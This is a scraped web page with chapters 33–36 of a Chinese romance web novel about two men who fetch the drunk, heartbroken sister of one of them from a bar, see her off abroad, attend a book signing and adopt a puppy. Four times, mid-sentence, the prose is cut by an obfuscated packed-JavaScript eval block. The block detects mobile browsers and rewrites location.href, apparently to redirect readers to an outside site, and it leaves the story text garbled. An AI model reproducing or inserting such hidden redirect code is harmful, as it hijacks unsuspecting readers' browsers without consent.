盛好白饭双双坐到饭桌吃饭时,黎念还是不太安分。时不时把腿架到江扩大腿上蹭来蹭去,还把菜叼在嘴上,凑过去喂江扩。 江扩用嘴接过那根菜,心里感叹一万次这个又乖又单纯的黎小弟十年后终究还是变了。 “认真吃饭。”江扩板着脸,把椅子移到远些的地方。 黎念这才不情不愿坐端正,气鼓鼓往嘴里扒饭。 吃完饭黎念自告奋勇收拾碗筷洗完,江扩到沙发休息。 “我看看你的文。”江扩对厨房的黎念说。 “看呗。”黎念的声音从厨房传出。 江扩拿了黎念的笔记本电脑,粗略浏览一下黎念最新的文章。最后面写的一塌糊涂,大概是在想他姐的事情。 黎念洗好碗出来的时候,江扩看完文章正在沙发抽白万宝路。 “我姐来电话了没有?”黎念看了眼茶几上的手机。 “没有。”江扩回答。 黎念叹了口气,坐到江扩身边拿起电脑码字。 “明天没课,我去找个兼职。”江扩说。 “啥兼职?”黎念问。 “附近H出版社有个校对的兼职。”江扩把抽完的烟掐进烟灰缸。 “哦,”黎念笑道,“我签约的那家。” “行吧,那咱俩快成同事了。”江扩说。 “应该不算,我只是负责写稿。”黎念反驳。 江扩正要开口,黎念的手|机|铃|声终于响了。 黎念俯身风驰电掣拿来手机按了接听键。 “姐?”黎念喊。 “大福啊!”黎徊那边哭声极其难听,还叫了黎念的原名。 “怎么了?”黎念心瞬间悬起来。 “他结婚了。”黎徊趴到乱七八糟的桌上闷声抽泣。 黎念其实没多大的惊讶,只是他姐的表现让他很揪心。 “你在哪?”黎念看了江扩一眼,江扩默契地站起身。 “旺角。”黎徊哭得肩膀频频抽搐。 “我们去接你。”黎念叹了口气,“你在旺角哪里?” “旺角登打士广场,”黎徊嚎啕大哭,“我现在真的想死了。” “在那别动!”黎念慌了,“我现在过去。” 黎徊挂了电话,只传来嘟嘟声。 “快走!”黎念带着哭腔,“我姐要自|杀了。” 江扩拿起钥匙推着黎念跑出门,搭了电梯赶下楼。 到楼下等了很久,没见一辆的士。江扩跟黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722013|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念等得焦头烂额,心里默默祈祷能赶紧买辆车来开。 终于等来一辆的士,上了车报完地址黎念又试着给黎徊打电话,这次没人听。 “说不定她是开玩笑的,其实她不会自|杀。”江扩安慰。 “她一向冲动,都三十岁的人了。”黎念靠在江扩肩膀上,“都十年了,怎么可能等她那么久,这个世界上本来就不可能有人等一个人那么久。” “不一定。”江扩回答。 如果黎念没有那么快回来,说不定他真的能等黎念十年,或者义无反顾离开香港去找他。 旺角在九龙,需要穿过长长的海底隧道。 “江扩,我怕。”黎念说。 “不怕,你姐没事的。”江扩揉了揉黎念的脑袋。 黎念趴在江扩胳膊上不动。 再次睁眼,车已经到了旺角登打士广场。 黎念扯着江扩的衣袖开了车门冲出去。 “喂!”司机的头从车窗探出来,“唔使俾钱咩?” 江扩返程塞给司机车费,照黎念手机里黎徊发过来的酒吧地址快步走去。 黎徊此刻已经喝的烂醉,迷迷糊糊趴在桌上。丝毫没察觉背后俩猥琐男在悄悄靠近。 “姐?”黎念推开酒吧的门就到处寻找黎徊的身影。 江扩直接绕到吧台问服务员,不久服务员就指着角落那一桌的方向。 黎徊正趴在桌上醉得摸不清东西南北,旁边围着俩男的,一个搂住黎徊的肩膀,一个笑嘻嘻在旁边倒啤酒。 黎念顺着手指的方向望过去,眼神瞬间阴暗。捂住挎包跟江扩匆匆赶过去。 两个猥琐男没意识到门口有两个男人走过来,还搂着黎徊的肩膀想劝酒。 直到江扩跟黎念站到桌旁,两个男人才后知后觉的抬起头。 “你们两个冚家铲把手撒开。”黎念戾气跟噶了几个人一样重。 江扩看了一眼放在黎徊肩膀上的手,眉头紧锁。 “撒开。”江扩加重语气帮黎念重复一遍。 俩猥琐男虽然不太愿意,但还是被这两个凶神恶煞的陌生男人唬住了,下一秒便倏地撒开手。 “你们谁啊?”其中一个壮起胆子问。 “滚!”黎念一声怒喝,声音吸引来酒吧几个客人和工作人员。 两个猥琐男收拾完酒瓶灰溜溜跑了,黎念瞪了那俩人一眼,坐到黎徊身边。 “姐?”黎念轻轻推了一下黎徊的肩膀。 江扩伸手抽来几张纸巾,帮忙把桌上已经浸湿黎徊几根毛发的啤酒擦干净。 这时两个工作人员走了过来。 “先生,请问你们二人和这位小姐是什么关系呢?”一个说。 “姐弟。”黎念头也不抬,把黎徊轻轻搀了起来。 “有没有什么证明?”另外一个工作人员说,“很抱歉我们是为了保证这位小姐人身安全。” 黎念怒拍桌子,黎徊在怀里吓得一震。 “你们说是为了她安全,那我请问刚刚她被人骚扰的时候你们在哪?”黎念强压怒火,冲工作人员质问。 两人被怼得哑口无声。 “唔该让一下。”江扩帮忙搀住黎徊,对那两个工作人员淡淡道。 “请出示一下跟这位小姐的关系证明。”另一个工作人员还是缠着不放。 为了早点离开这个地方,黎念忍着一股火,从黎徊包里掏出美国的身份证,和自己的对给工作人员看。 “请留个电话number,再影张相。”工作人员坚持道。 “没完了是吧?”黎念发火。 “留吧。”江扩不想把事闹大,只好轻轻拍了拍黎念的背,掏出手机准备留个电话号码。 “是我亲弟,黎念,同朋友来接我回家的。”这会黎徊稍微醒了点酒,抬眸对工作人员虚弱地道。 工作人员又一连问了几个问题,才终于放三人离开。 34. 第 34 章 江扩伸手拦住一辆的士,黎念把黎徊塞进后座,自己坐了上去给黎徊系安全带。 回家路上,黎徊醒了点酒,干呕几声后趴在车窗闷声流眼泪。 “姐你别哭了。”黎念心疼,从挎包里掏出纸给黎徊擦眼泪。 黎徊哭哭啼啼接过纸巾,在脸上一通乱抹。 “他明明说过会等我回来的。”黎徊的眼泪还是刹不住。 “姐,其实都十年了,什么都会变。”黎念安慰。 “别太难过了,既然你前男友结婚了,那你也得向前看。”江扩说罢叹了口气。 黎徊直到哭不出眼泪,倚在车门上眼神呆滞。 “我挺羡慕你俩的,”黎徊哽咽道,“十年了还能在一起,感情这么好。我怎么就找不到呢。”、 江扩跟黎念面面相觑之后,江扩绞尽脑汁才想出几句安慰的话。 “这只是个例,”江扩笑了几声,“说不定你弟晚点回来我也跑去结婚了呢。” 黎念虽然知道江扩只是在安慰他姐,但脸色还是瞬间变得有些难看。 “想吐。”黎徊捂着嘴巴又是几声干呕。 前面的的士司机听罢,下意识加快车速,在高架桥上狂飙。 “呕在这里。”司机从中间摸出一个塑料袋塞到后座。 黎徊接过塑料袋也没来得及道谢,对着塑料袋里面狂吐。黎念在旁边给黎徊拍背。 下车的时候,黎徊已经吐到虚脱,加上酒还没醒,走路重心不稳歪歪斜斜。 幸好旁边有俩人扶着,才勉强走到电梯。 回到家,黎徊又冲到厕所对着马桶吐,不过吐不出任何东西。黎念还在后面给黎徊拍背。 江扩到厨房拿出冰箱里一罐蜂蜜,给黎徊调了杯蜂蜜水。 “谢谢。”黎徊接过蜂蜜水,咕咚咕咚喝了几口。 “今晚早点睡。”黎念说。 “我想睡了。”黎徊捂着额头说。 江扩默默拿起喝完的玻璃杯,进厨房洗干净。黎念负责扶黎徊到房间休息。 盖好被子之后,黎念才熄了灯出客厅。 “怎么样?”江扩从厨房出来,问黎念。 “睡了,”黎念说,“不过我还是有点害怕她在房里自|杀。” “不会的,”江扩回答,“为了一个结了婚的男人去死不值得。” 黎念沉默,心里还是放心不下房里的黎徊。 接下来的时间,黎念几乎每隔半个钟就去探查一次。 直到第四次,黎徊终于忍不住睁开哭肿的双眼,皱眉跟床边的黎念对视。 “你干嘛?”黎徊问。 “看你有没有自寻短见。”黎念回答。 “我不会的,你去睡觉吧。”黎徊翻了个身。 黎念这才放心出去,顺便给黎徊锁上门。 晚上跟江扩躺在床上,黎念一直看着天花板上的吊灯。 “我要是晚点回来,你是不是真的会跑去结婚?”黎念突然问。 “不会。”江扩回答。 “是你自己说的。”黎念有些郁闷。 “不记得了。”江扩翻了个身对着黎念。 “当时你对我姐说的,”黎念重复一遍,“‘说不定你弟晚点回来我也跑去结婚了呢’,这句。” “你记这么深干嘛。”江扩笑了。 “你还没回答。”黎念说。 “不会,那只是我安慰你姐的话。”江扩还是这样回答。 “我不信。”黎念笑着摇头。 江扩无奈。 “第一,如果你没早点回来,我就会去美国找你,直到找到你为止,”江扩凑近了点,“第二,就算你不回来,我找不到你又怎样?我都确认我只喜欢男人了,又怎么会去祸害其他姑娘?你看我像是会骗婚的玩意儿吗?” “那如果香港同性可以结婚呢?”黎念还是缠着这个问题不放。 “没有那么多如果。”江扩啧了一声。 “那如果。”黎念又要问一连串摸不着头脑的问题,江扩伸手捂住他的嘴。 “睡觉!”江扩小声喝道。 “不睡。”黎念啃了一下江扩捂在嘴上的手,江扩嘶一声立马松开。 “你这只狗!”江扩骂道。 “那如果我是狗的话,你现在还能干我吗?”黎念眨了眨眼。 江扩想起晚上吃饭前说过的话,很快反应过来。 “能。”江扩凑上去堵住黎念的嘴。 隔天早上两人是被急促的敲门声惊醒。 而且闷响是从门的下方传来,说明外边敲门的人是趴着的。 “怎么回事?”江扩提高警惕。 “我姐!”黎念惊呼一声跳下床,光着脚去给黎徊开门。 开了门,只见黎徊身着睡衣赤脚趴在门口,一头长发凌乱,脸色苍白像极一个女鬼。 “不会真自杀了吧。”黎念带着哭腔俯身,想把黎徊扶起来。 “应该是低血糖。”江扩跑过去帮忙。 黎徊坐到沙发,又差点滑下去。 “现在什么感觉?”江扩问。 “没力气,好难受,”黎徊哽咽,“头好晕,要死了。” 黎念听他姐说自己要死了,又急得眼眶发红。 江扩到厨房,不久端着一碗水出来。 “让你姐喝了。”江扩把碗端给黎念。 “这什么?”黎念问。 “白糖加盐,喝了低血糖会好点。”江扩回答。 黎念给江扩竖了个大拇指,低头用勺子一小口一小口喂黎徊。 江扩又返回厨房,从冰箱后面拖出一箱黎念没喝完的常温可乐,拿了一罐开盖。 “再喝。”江扩塞给稍微缓过来的黎徊。 江扩已经顾不上到底有没有效了,只记得可乐是高糖饮料,应该多多少少会补一点。 黎徊仰头咕咚咕咚喝了几大口,倚在沙发靠背上歇息片刻。 “怎么样?”黎念一脸关切。 “好了点。”黎徊叹了口气。 “昨天晚上没有吃饭吗?怎么搞到低血糖?”黎念说。 “有,”黎徊捂着额头,“我一宿醉就会低血糖。” “以后不要喝那么多酒了。”黎念说。 “他结婚了是吗?”黎徊讷讷问道。 “是,”江扩说,“错过了就是错过了,你也不用消沉,你值得过更精彩的人生。” “我想回去了。”黎徊哽咽。 “回哪?”黎念愣住了。 “美国,我想快点回香港,”黎徊说,“赶紧办完东西回来,我不想看着这里太多旧事变迁。” “什么时候回去?”黎念问。 “这两天。”黎徊拿纸巾擦了下眼泪。 “好。”黎念点头。 一整个下午黎徊都在收拾行李,江扩负责查看这两天去美国的机票。 行李并不多,大多都在行李箱里好好放着。 黎徊回来本就是奔着跟男朋友相聚,还想跟男朋友好好玩个一两周。结果现在人家结婚了,行程被迫取 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722014|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消。 头和尾算起来,回香港还不到一周。 最后订了两天后的机票。 隔天黎念有课,直接掐了上课时间在家陪黎徊。一整天黎徊抽了不少烟,一直在沙发呆呆坐着。 黎念甚至有点害怕黎徊这种精神状态回去直接抑郁了。 “姐要不你先别走吧,”黎念低头倒掉烟灰缸里的烟头,“我怕你回去就生病了。” “生什么病?”黎徊叼着烟发愣。 “抑郁。”黎念老实回答。 黎徊笑了一声,嘴里吐出的烟瞬间散在空中。 “失恋不就是这样吗?我又不是没失恋过。”黎徊苦笑看着黎念。 “以前没见过你这种失恋症状。”黎念说。 “放心我吧,”黎徊弹了弹烟灰,“说不定过几天我就生龙活虎了呢。” “但愿如此。”黎念叹了口气。 下午江扩没有课,去出版社应聘校对兼职。直到下午四五点才从出版社出来。 经过花店的时候,江扩顺便进去买了两束花。一束玫瑰给黎念,希望他俩天长地久;一束康乃馨搭配满天星给黎徊,以示慰问,希望黎徊早日走出失恋阴影。 回了家,江扩把两束花从背后掏出来。 “我就知道你背后藏着东西。”黎念骄傲地笑了一下。 “聪明。”江扩冲黎念点头。 “还有我的份儿?”黎徊看了一眼两束花。 “有。”江扩走过去把两束不同的花准确放到两人怀里。 “康乃馨和满天星,祝你早日摆脱失恋阴霾,找到你的真命天子。”江扩弹了个指。 “我的呢?”黎念追问。 “祝你跟你的第十二个男朋友天长地久。”江扩贱贱回答。 “啊?”黎徊张大嘴巴。 黎念脸上挂不住了,一只手啪一声捂住整张脸。 “什么第十二个男朋友?”黎徊还没反应过来。 “我。”江扩悠悠道。 “哦。”黎徊松了口气。 隔天两人准时把黎徊送达机场。 “证件都带全了没?”江扩问。 “够了,你们回去吧。”黎徊挥挥手,步履怅然进了机场。 回家路上,正好经过出版社。 “明天我就到出版社兼职了,”江扩瞥了一眼出版社的大门,“做校对。” “好。”黎念应道。 “诶,”江扩说,“我第一次知道原来你的小说那么火,整个出版社都知道你。” “他们还想着给我弄个签名会呢。”黎念笑道。 “签名会?”江扩说。 “就是给读者签名,不过那样我就得露脸了。”黎念说。 “露脸不是也好,”江扩看了一眼黎念,“你这脸一定收获不少读者的芳心。” “那你也一起去。”黎念笑了一声。 “不去。”江扩望向窗外。 “为啥?”黎念委屈。 “你自己的签名会,我去干嘛。”江扩说。 “我想让大家看看我的男朋友。”黎念喜滋滋回答道。 “你的第十二个男朋友。”江扩哼了一声,“大家好,我是耽美作家黎小福,这是我的第十二个男朋友江扩。” “又提这茬。”黎念不爽。 “哼。”江扩双手抱胸又哼了一声。 隔天去出版社,江扩一眼就瞥到门口的签名会宣传。前面还站着几个脸红心跳的女孩子。 敢情黎念是答应了。 35. 第 35 章 黎小福,男,原名黎念,曾用名黎大福,香港耽美新人作家,代表作balabala...... 看到这江扩就忍不住偏过脸偷笑,旁边的黎念不爽了。 “你笑啥?”黎念嘁了一声。 “没什么,小福。”江扩故意伸出一只手去摸黎小福的头。 黎念更不爽了,抬手就把江扩放在他的手打掉。 “你自己取的好笔名,关我什么事?”江扩哼了一声,“采访一下您是怎么想出这个又土又可爱的笔名的。” “我只是把曾用名改良一下,做成笔名。”黎念看着上面的宣传说。 几个女生这时小心翼翼走过来,端详片刻黎念的脸。 “请问是写耽美的小福吗?”其中一个试探问道。 “是。”黎念笑着回答道。 “哇!好帅啊,”另一个直言不讳,“一看就知道是基的帅。” 黎念笑得更开心了,江扩板着脸转过身背对几人。 “这个是我男朋友。”黎念见江扩转身,偏要过去把人转过来。 “哇,天生一对!”几个小姑娘尖叫。 江扩听罢虽然心里乐开了花,但还是装作很傲娇地哼了一下。 “见面会是在周六晚七点,中环xx大厦廿八楼。”黎念对几人说。 “一定准时到。”几人纷纷回答。 几人打完招呼走之后,江扩才不那么矜持。 “到时候你也一起去,我要当着所有读者的面出柜。”黎念搂住江扩的肩膀。 “你不需要出柜,”江扩悠悠回答,“一个写耽美的男作家,你觉得会是直的?不弯成蚊香也能弯成歪脖子树了。” 黎念听见这个比喻直接乐了,捂着肚子忍住不笑出声。 笑完了两人到附近地铁站搭地铁,江扩还得去一趟唱片公司上交最近作的歌词。 歌词是最近拍武侠电影要用的主题曲,江扩最近读了不少金庸等各种武侠作家的名作,甚至连佛经都读了点。为的就是写好这首歌词。 “我有点害怕。”黎念出了地铁站,看完歌词转头就对江扩说。 “什么?”江扩问。 “我怕你读完佛经会跑去出家,”黎念说,“你这词儿写的太不食人间烟火了。” “词是词,人是人,不要人词不分,”江扩低头点了根烟,“你看我会不食人间烟火吗?” “不会。”黎念老实回答。 “那不就好了。”江扩弄了根烟给黎念。 地铁站门口刚好有个吸烟区,两人便杵那抽完烟再走。 黎念第一次去唱片公司,难免有些兴奋。门口刚好有几个工作人员走过来,跟江扩打了声招呼后走了。 “唱片公司有趣的事挺多的,你想听吗?”江扩小声对黎念说。 “什么事?”黎念挑眉。 “刚刚那个录音师身后的萨克斯手,看见没有?”江扩压低声说,“他也是基,以前我刚写词的时候他追过我。” “哦?”黎念面无表情看了江扩一眼,“那你答应了没有?” “没有。”江扩回答。 “是不是我晚点回来你就答应了?”黎念垂着头踹了一下阶梯槛。 “不会,”江扩说,“他不是我喜欢的类型,而且他追我一个星期后就就放弃我去追别人了。他交过的男朋友比你喝过的可乐都多。” “你太难追了,”黎念搂住江扩的肩膀,“不过到我这就追上了。” “对,把自己的第十二个男朋友追上了。”江扩揶揄道。 进了唱片公司,江扩让黎念坐到落地窗边的沙发等着,自己进了录音室。人都等齐了。 黎念闲着无聊,走到桌旁的花瓶转了一圈,随手碰了碰上面半枯萎的花,恰好掉了一片花瓣在桌上。 看了一会花,黎念又悄悄走到门后面,掀起百叶窗的一片,透过玻璃偷偷观察江扩。 女歌手好像是最近在网上看过的新人歌手,黎念下载几首听过,还挺喜欢这个歌手的歌。 几人交流没过多久,女歌手拿着打印好的歌词和谱,进了录音棚。 虽然隔着录音棚听不见女歌手的声音,但黎念从这歌手的神情以及自己非专业的判断来看,唱的还挺陶醉的。 几人在几台机器面前忙碌,再次以黎念非专业的判断来看,大概是在调音。 江扩站在几人后面,用余光瞥见黎念鬼鬼祟祟的半张脸。 趁几人不注意,江扩转过身对黎念比了个心。 黎念也趁其他人不注意,往玻璃上哈气,给江扩写了个“I love you”。 江扩乐了。 两人的互动还没继续,女歌手录完歌出来。 江扩停止小动作,转头跟几人又开始忙碌。不久那位女歌手又进了录音棚,估计是在重录某一段。 黎念又乖乖走到布沙发坐着,闲着无聊拿出手机查了一下女歌手的作品,顺便戴耳机点开一首江扩作词的欣赏。 江扩忙完工作,终于推开门从里面走出来。 “走了。”江扩对刚摘下耳机的黎念说。 “哦。”黎念起身伸了个懒腰,跟到江扩身边。 下电梯的时候,电梯满是人。两人被挤在中间,江扩有点晕,捂着嘴干呕一下。 “怎么了?”黎念小声问。 “太闷。”江扩还是捂着嘴。 黎念抬起一只手轻轻拍了拍江扩的背。 到了九楼健身房,其余人一股脑涌了出去,又换了一批人涌进来。 江扩下意识带黎念往后一缩。 前面一个乘客正打打电话,江扩总觉得这人的声音有点熟悉。 直到那男人挂了电话,无意朝这边看过来。 “江扩?”许添佑试问。 “好久不见。”江扩点头。 “我来健身房锻炼,你呢?”许添佑问。 “工作。”江扩回答。 有几人听见声音,目光朝这边投来。江扩被一堆人看着有些不舒服。 “这几年同学聚会你都没来啊,”许添佑说,“都没看见你。” “我没空。”江扩回答。 黎念在旁边听了片刻,才想起好像是读书那会总是跟江扩一起出校门的那个。 到了一楼,许添佑跟群人先挤出电梯,打了声招呼后走了。 出了电梯,江扩深吸一口新鲜空气。 回家还是搭地铁。香港的地铁一如既往的挤。 黎念掏出耳机听搜罗来的江扩作词的歌,把其中一只耳机塞到江扩耳朵。 “诶,大哥。”黎念突然轻轻碰了碰江扩的胳膊。 “什么?”江扩转头。 “要不你写首歌送给我呗。”黎念说。 “好。”江扩脱口而出。 “这么痛快?”黎念惊叹。 “想我写啥内容的?”江扩看了黎念一眼。 “不要写悲情的,写甜点的吧。”黎念笑道。 “好。”江扩答应。 回了家,江扩坐在书桌上发愣,黎念拿了衣服进厕所洗澡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722015|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要写一首送黎念的歌词,还挺有难度的。 也不知道黎念什么时候想要,好像也没有说。那就由他自由发挥好了。 江扩想起以前读过的一本小说,男主词人总喜欢在跨年送给爱人一首歌。不然也在跨年的时候送黎念好了,不仅浪漫还有大把时间改歌词。 刚准备写个开头,江扩的手机响了。 江扩用余光瞥了一眼,是江收的号码。发出一声不耐烦的叹息后才拿起电话接听。 “哥!”江收的声音尽显兴奋。 “干嘛?”江扩问。 “那个耽美作者黎小福,就是黎大福对吧?!”江收扯着大嗓门问。 “不是。”江扩说。 “我都看那宣传上有黎大福的照片了。”江收还不死心。 “人家现在叫黎念。”江扩不耐烦道。 “我就知道是他!”江收在那边兴奋得像只马骝,“天啊,我没想到追了一两年的耽美小说作者居然是黎大福!” “黎念。”江扩再次更正。 “天啊!见面会我一定要去看!一定要去!我还要拉上我的书友!”江收尖叫,随后挂了电话。 江扩放下手机叹了口气,这中二病还是跟之前读书时一个样。 “谁啊,叫成那样。”黎念洗完澡杵在门边问。 “你隔那么远还听得见?”江扩转过身问。 “叫那么大声,我肯定听得见,”黎念说,“我刚还听见她喊我名字,是江收吧。” “是,”江扩回答,“好像还是你的忠实书迷。” “神奇神奇。”黎念干笑。 接下来几天黎念都在忙见面会的事情,江扩也开始在出版社兼职校对。 只有在同一天上课或者晚上回到家,两人才有独处的机会。 “诶,大哥。”一天晚上劳累过后,黎念躺床上休息够了,突然翻过身叫江扩一下。 “什么?”江扩问。 “你有没有想过,咱家得添个新成员?”黎念冲江扩眨了眨眼。 “不行。”江扩回答。 “为啥不行?”黎念愣了愣。 “生不了。”江扩笑了一声。 “生不了咱去抱啊,”黎念说,“大街上不是到处都有吗?” “犯法的。”江扩皱眉。 “哪犯法了?不是有专门卖这个的吗?我们去那抱不就行了。”黎念啧了一声。 “你想牢底坐穿是吧?”江扩在黑暗中白了黎念一眼。 “这怎么能是犯法呢,我姐当时在M国不也抱了好几个这个,还有空一起牵去店里洗澡呢,可乖了。”黎念懵了。 “你说的是什么?”江扩也懵了。 “猫啊,或者狗也行。”黎念回答。 江扩在黑暗中跟黎念尴尬对视几秒,接着憋不住噗嗤一笑。 “你笑啥?”黎念一头雾水。 “我以为你说人类幼崽呢。”江扩捂着嘴憋笑。 “这个确实生不了,”黎念凑过去,“不过现在医学这么发达,说不定我以后还真能生一个出来。” “我拭目以待。”江扩擦了擦笑出来的眼泪。 “怎么突然想养猫狗啊?”江扩又问。 “就想养一只,很早就想了,可爱。”黎念回答。 “好,找个时间去宠物店看看。”江扩说。 黎念的读者见面会如期而至,除黎念之外还有三个耽美作家,整层楼人山人海。 江收跟几个书友坐在第一排,聊得热火朝天。 36. 第 36 章 江扩跟在黎念后面进了场。 黎念上台之后,江扩选择悄悄坐到江收跟几个朋友旁边。 “哥你咋不上去啊?”江收凑过来问。 “我又不是作家,我上去干嘛。”江扩淡淡回答。 “但是你看那几个女作家都带对象上去。”江收抬了抬下巴。 江扩这才注意到除了黎念,另外几个都是女作家,旁边跟着个男人。大概是丈夫或者男朋友。 黎念见江扩在江收旁边坐着,当着所有人的面朝江扩兴奋挥手。 江扩捂脸,最后还是硬着头皮站起身,慢悠悠走上台,站到黎念身边。 “哩个系我男朋友。”黎念对着桌上的话筒向大家隆重介绍。 “大家好。”江扩俯身对着话筒语气僵硬道。 全场热烈的目光朝这边投来,下一秒爆发一阵震耳欲聋的欢呼声,其中就包括江收和她几个朋友的。 “我哥!我哥!”江收凑到朋友耳旁大声嚷道。 主持人捂着嘴姨母笑了半刻,又比了个暂停手势。众人才渐渐安静。 江扩下意识往后退了一两步,给黎念留足空间。 在后面转念一想,既然要秀恩爱不如贯彻到底。干脆偷偷溜下台,在人群中准确找到江收到位置。 “附近有没有花店?”江扩在江收耳旁问。 “有!”江收立即会意,“在三楼就有。” 江扩道了谢,匆匆跑到电梯口消失不见。 黎念瞥见江扩跑去电梯,顿时有点慌,想了想还是转身装作一脸微笑看第一个耽美新人作家讲话。 十几分钟后江扩终于捧着一大束玫瑰从电梯口的方向走过来。 黎念见了花,乐得差点忘了是见面会,几乎想直接跳下台抱着江扩一顿乱亲。 江扩比了个“嘘”,黎念疯狂勾起的嘴角才慢慢放下。 轮到黎念发言时,江扩抱着一大束玫瑰悄悄走到黎念身边。 “黎小福,送俾你。”江扩把花伸到黎念面前。 “多谢男朋友。”黎念笑眯眯接过花抱着,一手捏着麦克风清了清嗓子。 此刻全场爆发的掌声和欢呼比上一次还要惊天动地。 “我是耽美作者黎小福,这是我挚爱的男朋友江扩,同时也是一名词人,”黎念深深吸了口气,“我从中学时代开始尝试写作,到现在已有十年余;这期间有挫折又有灵感枯竭,也曾想过放弃写作,但有我的男朋友的支持同埋鼓励,让我坚持到现在。在此我要感谢我的男朋友,以及各位帮助过我的朋友和支持我的读者。多谢。” 众人鼓掌,都在感慨黎小福有个陪伴了十年的挚爱。却无人知晓江扩其实在黎小福的生命中缺席了六七年。 江扩瞬间有些自责,一只手悄悄伸过去捏了捏黎念的手心。 黎念回捏,转头对江扩笑了笑。 三十分钟后终于到了读者最喜欢作者手要残的签名环节。江扩为了不打扰黎念,搬了张椅子在后面坐着。 黎念这边排成一行长队,一直在马不停蹄给读者签名一边闲聊,没一会手腕开始有点酸。 江扩把椅子挪前一点,偷偷给黎念按小臂。 见面会直到九点多才结束,出来时黎念感觉整个人都要虚脱了。 “我今天签了上百个名儿。”黎念甩了甩右手一边哀嚎。 “今晚过后你的读者翻倍。”江扩点了根烟。 “真的?”黎念伸手拿了江扩的烟叼在嘴里,“那我要大火了。” “那就先请我吃顿饭吧,”江扩说,“我饿了。” “吃啥?”黎念笑眯眯过去亲了一下江扩的脸颊。 后面刚出来的几个人,见黎念这一亲密举动激动得差点当场尖叫。 “牛腩。”江扩回答。 “您是真的吃不腻。”黎念揶揄道。 “走。”江扩推黎念的背。 九记牛腩就在不远的歌赋街,十点多就关门。为了赶时间,直接打了辆的士过去。 吃完又坐着叮叮车回家。 经过一家宠物店,江扩想起上次黎念说的抱个新成员,下意识转头凝视片刻宠物店的橱窗。 “什么时候要?”江扩突然问。 “今晚,”黎念凑过去,“不出意外的话,我大概十个月后就能生了。” 江扩一巴掌过去扇了一下黎念的额头,黎念哀嚎。 “猫还是狗。”江扩又问。 “狗吧。”黎念哼哼唧唧。 “好。”江扩点头。 隔天下午,江扩就拉着黎念到宠物店挑新成员。 由于破出租屋的空间有限,只好养小型犬。 刚进宠物店,窗入边的狗听见声音都倏地站起来朝两人摇尾巴,猫则都趴着不动或者自顾自吃东西,只有几只活泼的冲玻璃外边叫了几声。 “欢迎。”宠物店老板走过来。 “你好,我们想挑一只小型犬。”江扩说。 黎念被其中一只小博美吸引到,凑过去跟小博美打了声招呼,一只手放在玻璃窗上。 圆滚滚的小博美以为要握手,一只手放到玻璃窗上跟黎念的手隔着玻璃碰在一起。 “这个好可爱啊。”黎念扭头感慨。 “这个不是买的,”老板说,“是客人带来洗澡加托管的。” “这是博美吗?”江扩问。 “是的,如果想要博美的话,后面有几只待售的。”老板把后面的木栅栏门推开。 几只小博美犬的卡姿兰大眼可怜巴巴朝这边望过来,嘴里不忘发出呜呜的叫声。 黎念的心都化了。 “挑一只吧。”江扩对黎念说。 “好像都一样可爱啊,怎么挑?”黎念犯难了。 “可以缩小范围,”老板提了个建议,“想要狗仔还是狗女?” “女儿还是儿子?”黎念趴在江扩耳旁轻声问。 “女儿。”江扩看了黎念一眼后脱口而出。 黎念也没有追问为什么要女儿,偏过头捂着嘴偷笑。 “狗女是吧?”老板拿钥匙开了玻璃门,把其中四只圆滚滚白胖胖的小博美抱出来,并排放好。 其中一只傻乎乎的博美,似乎处于叛逆期,偏要跨过老板的手腕往前乱冲。老板抓回来按住,不到几秒又趁人不注意往黎念的方向冲去。 黎念蹲下去嘬了几声,傻博美听见声音又竖起耳朵屁颠屁颠跑过来。 这次老板没有拦。 “真有默契。”老板赞赏。 “就这个吧,感觉有缘。”黎念伸手摸了摸小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722016|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狗的头。 小狗抬头,咧嘴吐出一点粉嫩的舌头。江扩跟着小狗一笑。 “这只。”江扩对老板说。 挑完狗,江扩以为再买点狗粮什么的就算完事儿了,老板介绍一款狗粮之后就要付钱。 “还有呢。”老板笑道。 “还有什么?”江扩愣了愣。 